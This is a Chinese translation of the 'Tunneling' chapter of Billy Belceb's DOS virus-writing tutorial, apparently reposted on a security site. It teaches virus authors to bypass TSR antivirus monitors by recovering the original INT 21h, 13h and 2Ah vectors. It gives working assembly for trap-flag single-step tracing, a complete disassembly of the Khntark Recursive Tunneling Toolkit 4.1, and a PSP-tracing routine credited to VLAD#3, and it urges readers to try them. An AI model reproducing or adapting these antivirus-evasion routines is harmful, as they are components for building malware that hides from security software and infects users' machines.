Billy Belceb病毒編寫教程(DOS篇)---Tunneling

看雪資料發表於2015-11-15

【Tunneling】
~~~~~~~~~~~
    我們稱tunneling為一類操作,這類操作獲得任何中斷的原始中斷向量,這些中斷是所有關於INT 21h的所有時間的中斷。由此可見,並不是所有的操作都可以稱作tunneling(如,後門backdoors),但是我們也會在這篇文章裡面討論到。
    Tunneling是為避開TSR監視程式而開發的。這種型別的反病毒對普通使用者來說是不可理解的(什麼話!),因為他們被告知了鉤住中斷,開啟可執行檔案,和一個病毒通常會做的事情的企圖。這種方法用上述的方法(反探索)確實很難對付了,因為它們不搜尋一些位元,它們僅僅鉤住和控制重要的中斷(21h,13h...)
    最普遍的TSR監視程式是Flintstones的VSAFE,VSHIELD...我們的目標是獲得原始的中斷向量但是...怎麼來實現呢?你有很多個選擇。

%跟蹤%
~~~~~~
    這可能是最常用的方法之一,但也是很不安全的方法。是的,這種型別的tunneling是非常脆弱的,而且如果你仔細地看看下面的論述,你會知道為什麼是非常脆弱的:)
    有一個標誌,叫做陷阱標誌Trap Flag(通常縮寫為TF),如果被啟用,用來把處理器切換到單步執行模式。單步執行模式就是偵錯程式用來一步一步的執行指令的,當然我們可以用來滿足我們的需要啦:)
    一個指令每執行一次,TF就會被啟用,INT 1將會被呼叫,所以這次是我們的啦:)但是沒有一個啟用它的指令,所以我們必須對標誌處理。讓我們看看我們怎樣啟用TF的:

  pushf        ; Push flags to stack
  pop ax        ; And put them into AX for play
  or ax, 100h      ; We activate the TF at this point
  push ax       ; We must push AX...
  popf        ; for restore our preety flags :)

    利用這些簡單的程式碼,你已經啟用了陷阱標誌。我忘了給出所有標誌了,下面給出:

 Position   0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
                      
 Flags      -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF

    正如你所看到的,這些標誌是在一個16位的暫存器裡面。下面給出標誌列表及所代表的意義:

 CF : Carry Flag      Indicates an arithmetic carry
 PF : Parity Flag     Indicates an even number of 1 bits
 AF : Auxilary Flag   Indicates adjustment needed in BCD numbers
 ZF : Zero Flag       Indicates a zero result, or equal comparison
 SF : Sign Flag       Indicates negative result/comparison
 TF : Trap Flag       Controls Single Step operation
 IF : Interrupt Flag  Controls whether interrupts are enabled
 DF : Direction Flag  Controls increment direction on string regs.
 OF : Overflow Flag   Indicates signed arithmetic overflow

    讓我們記住關於中斷的一些東西。每次我們呼叫一箇中斷,在堆疊裡是6個位元組:標誌和CS:IP。你必須記住這一點,因為我們必須要呼叫INT 21h,然後跟蹤它的程式碼。如果呼叫之後CS(在堆疊中)等於當我們請求的中斷向量DOS已經給我們的值,那麼這個中斷就是正常的中斷。實現tunneling的簡單的例程如下:

 int01handler:
  push bp
  mov bp, sp
  push dx
  mov dx, word ptr cs:[dossegment]
  cmp [bp+6], dx
  jz found
  pop dx
  pop bp
  iret
 found:
  mov dx, [bp+6]
  mov word ptr cs:[int21_seg], dx
  mov dx, [bp+4]
  mov word ptr cs:[int21_off], dx
  pop dx
  pop bp
  add sp, 6
  [...]

    但是這種型別的tunneling,正如我在開始解釋的時候所說的,有很多弱點。我們不保護POPF,PUSHF,CLI和TF的釋放,因為我們要真正地執行這個程式碼。
    如果病毒查殺工具重定向INT 21h給另外一箇中斷,我們又要受挫了。正如你能看到地,這個跟蹤不安全。
    好了,我們可以透過檢查一些程式碼來解決一些問題,如PUSHF和POF,為了不使蹩腳者釋放TF。無論如何,跟蹤不是最好的選擇...

%位元組到位元組(byte-to-byte)%
~~~~~~~~~~~~~~~~~~~~~~~~
    最流行(僅有的一個)的源程式是Khntark Recursive Tunneling Toolkit ( 即 KRTT )。它使用的方法是對中斷處理程式中的所有操作碼做比較,為了判斷它是否為CALL,CALL FAR,JUMP FAR,和JUMP OFF:SEG,然後獲得這個值作為INT 21h。讓我們看看KRTT41包中的KRTT41.OBJ這個檔案的徹底反彙編,它是這個工具的核心。

;----從這裡開始剪下-------------------------------------------------------
; Khntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KhntarK
; 反彙編 Billy Belceb?DDT
;
; 輸入:
;   BP : 01        Searches for INT 2Ah handler
;   BP : 02        Searches for INT 13h handler
;   BP : another value  Searches for INT 21h handler
; 輸出:
;   AH : 00        Not found
;   AH : 01        Found!
;   AH : 02        Int 21h / 2Ah / 13h  Not Hooked
;   AH : 03        DOS internal interrupts are hooked
; 如果找到:
;   DX          DOS INT 21h / 2Ah / 13h SEGMENT
;   DI          INT 21h  / 2Ah / 13h OFFSET
;   AL          RECURSION DEPT
; DESTROYED:
;   AX,BX,CX,DX,DI,BP,ES
;
; 彙編:
;  TASM KRTT41.ASM
;  TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; 宣告: 這是我第一次試著反彙編一些東西,所以如果有大的錯誤,原諒我:)
; 這不是我的工作...

       .model  tiny
       .code
  public  tunnel

tunnel:
  cli        ; Disable interrupts for tunneling
  xor  ax,ax
  mov  es,ax      ; Make ES = 0 for get IVT
  xor  di,di
  mov  dx,es:[00AEh]    ; Checks for assure tunneling
  mov  cx,es:[00A2h]    ; INT 26h =! INT 28h
  cmp  dx,cx
  jz  check
  mov  cx,es:[00B2h]    ; INT 26h =! INT 28h =! INT 2Ch
  cmp  dx,cx
  jz  check
  mov  ah,03      ; Checks failed : DOS ints are hooked
  ret
check:
  cmp  bp,01h      ; BP=1       Hook INT 2Ah
  jz  int2A
  cmp  bp,02h      ; BP=2       Hook INT 13h
  jz  int13
int21:
  mov  bx,es:[0084h]    ; BP=Other   Hook INT 21h
  mov  es,es:[0086h]
  jmp  go4it
int13:
  mov  bx,es:[004Ch]    ; Get INT 13h vectors from the IVT to
  mov  es,es:[004Eh]    ; ES:BX
  mov  bp,es
  mov  dx,0070h
  cmp  bp,dx
  jz  nothooked
  jmp  letstunnelit
int2A:
  mov  bx,es:[00A8h]    ; Get INT 13h vectors from the IVT to
  mov  es,es:[00AAh]    ; ES:BX
go4it:
  mov  bp,es
  cmp  dx,bp
  jnz  letstunnelit
nothooked:
  xchg  bx,di
  mov  ah,02h      ; INT not hooked *yeah* ;)
  ret
letstunnelit:
  call  main_body    ; Go and tunnel it
  sti
  ret
main_body:
  push  es
  push  bx
  cmp  al,07h      ; Check for recursion
  jz  exit
  cmp  ah,01h      ; Found ?
  jz  exit
  inc  al
  mov  cx,0FFFAh
  sub  cx,bx
main_loop:
  push  bx
  cmp  byte ptr es:[bx],0E8h  ; Is OpCode a CALL ?
  jz  callsig16
  cmp  byte ptr es:[bx],0EAh  ; Is it a JUMP OFFSET:SEGMENT ?
  jz  far_stuff
  cmp  byte ptr es:[bx],09Ah  ; Is it a CALL FAR ?
  jz  far_stuff
  cmp  byte ptr es:[bx],02Eh  ; A Segment Override CS maybe ? :P
  jnz  jmpfar
  cmp  byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
  jnz  jmpfar
  cmp  byte ptr es:[bx+02],01Eh ; PUSH DS ?
  jz  far_stuff2
  cmp  byte ptr es:[bx+02],02Eh ; CS ? ( again )
  jnz  jmpfar
far_stuff2:
  mov  bp,es:[bx+03]
  dec  bp
  xchg  bx,bp
  jmp  far_stuff
jmpfar:
  pop  bx
  cmp  ah,01h      ; Found ?
  jz  exit
  cmp  al,07h      ; Check for recursion
  jz  exit
  inc  bx
  loop  main_loop    ; And loop it
callsig16:
  pop  bx
  add  bx,03h
  loop  main_loop
exit:
  pop  bx
  pop  es
  ret
far_stuff:
  pop  bp
  add  bp,04h
  push  bp
  cmp  es:[bx+03],dx
  jz  found
  cmp  word ptr es:[bx+03],00h
  jz  jmpfar
  push  es
  pop  bp
  cmp  es:[bx+03],bp
  jz  jmpfar
  mov  bp,bx
  mov  bx,es:[bx+01]    ; Where it points
  mov  es,es:[bp+03]
  call  main_body
  jmp  jmpfar
found:
  mov  di,es:[bx+01]
  mov  ah,01      ; INT 21 found
  jmp  jmpfar
end  tunnel

;----到這裡結束------------------------------------------------------------

    如果你想要完全的包,可以搜尋,它很容易找到的,但是KRTT不是很安全。也許你很惱怒。Tunneling看起來是一項非常不安全和脆弱的技術。這只是在這些老技術裡才會發生。如果控制權是由另外一個不是我們的程式的指令返回的時候,KRTT就會受挫了。利用一個條件jump或者RETF很容易呼叫INT 21h,這對我們不好。而且這個必定是遞迴的,顯而易見。

%PSP跟蹤%
~~~~~~~~~
    如果你還記得那個非常重要的結構PSP,並看過了關於offset 0005的描述,你將會想..."利用FAR CALL來呼叫INT 21該是多痛苦啊!"PSP的這個offset已經相當過時了,它只是為了對非常老的程式相容而保留的。但是它包含了非常有趣的資料,如INT 21h指派。INT 21h指派不是INT 21h處理程式,不要忘記這一點。正如Satan的Little Helper所說的,offset PSP:6能直接指向排程,或者不直接指向,這需要一些對第一種情況的雙nop呼叫處理。
    下面的例程來自VLAD#3(很強的一個組織!),Satan's Little Helper寫的文章,介紹了利用PSP來獲得INT 21h地址的方法。

;-----從這裡開始剪下-------------------------------------------------------
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
;   DS          PSP segment
; OUTPUT:
;   DS:BX         INT 21h address
;   CF          0
; if tunnel failed:
;   DS:BX         0000:0000
;   CF          1

psp_trace:
  lds  bx,ds:[0006h]    ; a pointer to dispatch handler
trace_next:
  cmp  byte ptr ds:[bx],0EAh  ; JMP SEG:OFF ?
  jnz  check_dispatch
  lds  bx,ds:[bx+1]    ; point to the SEGMENT:OFFSET
  cmp  word ptr ds:[bx],9090h
  jnz  trace_next
  sub  bx,32h      ; 32h byte offset from dispatch
          ; handler
  cmp  word ptr ds:[bx],9090h  ; If all is OK, INT 21h has this
  jnz  check_dispatch    ; signature ( 2 NOPs )
good_search:
  clc
  ret
check_dispatch:
  cmp  word ptr ds:[bx],2E1Eh  ; PUSH DS, CS: ( prefix )
  jnz  bad_exit
  add  bx,25h
  cmp  word ptr ds:[bx],80FAh  ; CLI, PUSH AX
  jz  good_search
bad_exit:
  stc
  ret
;-----到這裡為止剪下-------------------------------------------------------

    相當簡單而有效。試試看!而且,利用PSP跟蹤的框架,我們可以使用另外一個方法,INT 30h的後門。
    PSP跟蹤比普通跟蹤更好,因為在第二個裡面我們不知道我們是否正在執行一個病毒查殺工具的程式碼,而使用PSP就不會發生了。

%INT 30h 後門%
~~~~~~~~~~~~~~
    如果你看懂了上面的技術,這就非常簡單了。INT 30h有跳轉到排程的程式碼,所以我們可以如下寫程式碼:

  xor  bx,bx
  mov  ds,bx
  mov  bl,0C0h     ; INT 30h offset in IVT
  jmp  trace_next

    記住當在Windows環境下,INT 30h用來實現另外一個目的,一定要注意,但是那又是另一段歷史了:)

%程式碼模擬(Code Emulators)%
~~~~~~~~~~
    我現在還能記住的第一篇文章是Methyl[IR/G]以前寫的一篇文章,發表在IR#8(IRG#1?)。這個小教程不象Methyl的,我沒有太多的空間(這篇教程正越來越大),所以這篇教程是100%理論的。但是,不要放棄,它很容易理解。對我來說,模擬看起來是對老的byte-to-byte掃描的改進,但更先進和安全了。我不是說它們完全等價。byte-to-byte掃描僅僅對操作碼作比較,而模擬就象指令執行的時候那樣做的事情:模擬遵循原程式的流程,有假的跳轉,函式呼叫...用這種方法,它所有可能的INT 21h跳轉,這是我們所需要的。OK,這個是概念。如果你想知道更多的東西,我建議你下載IR#8,看看Methyl的教程。那是個很好的雜誌,所以祝你好運!

%高階tunneling%
~~~~~~~~~~~~~~~
    啊...還是那句話:我不想使你的頭腦因為太多的知識而爆炸。現在有更安全、更酷、更新...的技術,但是它們都太難了,而且在這篇文章裡介紹它們的實現將在你的硬碟上佔用太多的空間:)

相關文章